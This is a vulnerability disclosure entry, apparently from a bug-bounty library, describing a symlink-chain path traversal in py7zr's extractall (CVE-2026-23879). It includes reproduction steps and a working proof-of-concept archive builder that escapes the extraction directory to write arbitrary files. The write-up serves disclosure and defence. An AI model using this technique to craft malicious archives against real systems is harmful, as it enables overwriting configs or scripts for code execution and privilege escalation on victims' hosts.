# py7zr: Arbitrary File Write Vulnerability

py7zr extractall restores crafted symlink chains that resolve outside the destination directory, letting a malicious 7z archive write files to arbitrary host paths.

- Payout: Research
- Severity: high
- Program: py7zr
- Found by: HughLewis20
- Disclosed: 2026-06-19
- CVE: CVE-2026-23879
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-q6rc-2cgv-63h7
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-q6rc-2cgv-63h7
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:python technique:chained vuln:file-upload vuln:path-traversal

**Target:** py7zr SevenZipFile.extractall
**Root cause:** Extraction validates each symlink's arcname stays within the destination but never resolves the combined symlink path, so chained relative symlinks (dir0/.., dir1/.., ...) walk up to the filesystem root. Regular files extracted afterward through the final symlink are written outside the destination.
**Steps:**
1. Build archive with `archive.writestr("Some Text", "dir0/someFile.txt")`
2. Add symlinks `dir1 -> dir0/..`, `dir2 -> dir1/..`, ... `dir8 -> dir7/..` via add_symlink
3. Add symlink `myTmp -> dir8/tmp`
4. Add file `archive.writestr("Malicious Text\n", "myTmp/poc.txt")`
5. Extract with `py7zr.SevenZipFile(path, mode='r').extractall(path=output_dir)`
6. Observe symlink chain resolves to system root and poc.txt is written to an arbitrary path
**How found:** Reporter reasoned that the extractor only checks each symlink's arcname against the destination and ignores the resolved combined path, then built a chain of `..` symlinks to climb to root and confirmed a file write outside the output directory.
**Exploitation:** Attacker delivers a crafted .7z; victim extracts it with py7zr extractall. The restored symlink chain points to the host root, and the embedded regular file is written through it to an attacker-chosen absolute path, enabling overwrite of configs/scripts for RCE, privilege escalation, data corruption or DoS.
**Insight:** When auditing archive extractors, don't trust per-entry path checks: build symlink chains whose resolved target escapes the root, then verify whether later regular-file writes follow the resolved link rather than the literal arcname.

## Proof of concept (copied exactly from the original report)

**PoC archive builder with symlink chain**

```
def create_sevenz_exp(output_dir: str):
    filename = "archive.7z"
    file_path = output_dir + filename
    with py7zr.SevenZipFile(file_path, 'w') as archive:
        archive.writestr("Some Text", "dir0/someFile.txt")
        add_symlink(archive, "dir1", "dir0/..")
        add_symlink(archive, "dir2", "dir1/..")
        add_symlink(archive, "dir3", "dir2/..")
        add_symlink(archive, "dir4", "dir3/..")
        add_symlink(archive, "dir5", "dir4/..")
        add_symlink(archive, "dir6", "dir5/..")
        add_symlink(archive, "dir7", "dir6/..")
        add_symlink(archive, "dir8", "dir7/..")
        add_symlink(archive, "myTmp", "dir8/tmp")
        archive.writestr("Malicious Text\n", "myTmp/poc.txt")
```

**Extraction script calling extractall**

```
def extract_7z(seven_path, output_dir):
    os.makedirs(output_dir, exist_ok=True)
    with py7zr.SevenZipFile(seven_path, mode='r') as z:
        z.extractall(path=output_dir)
```

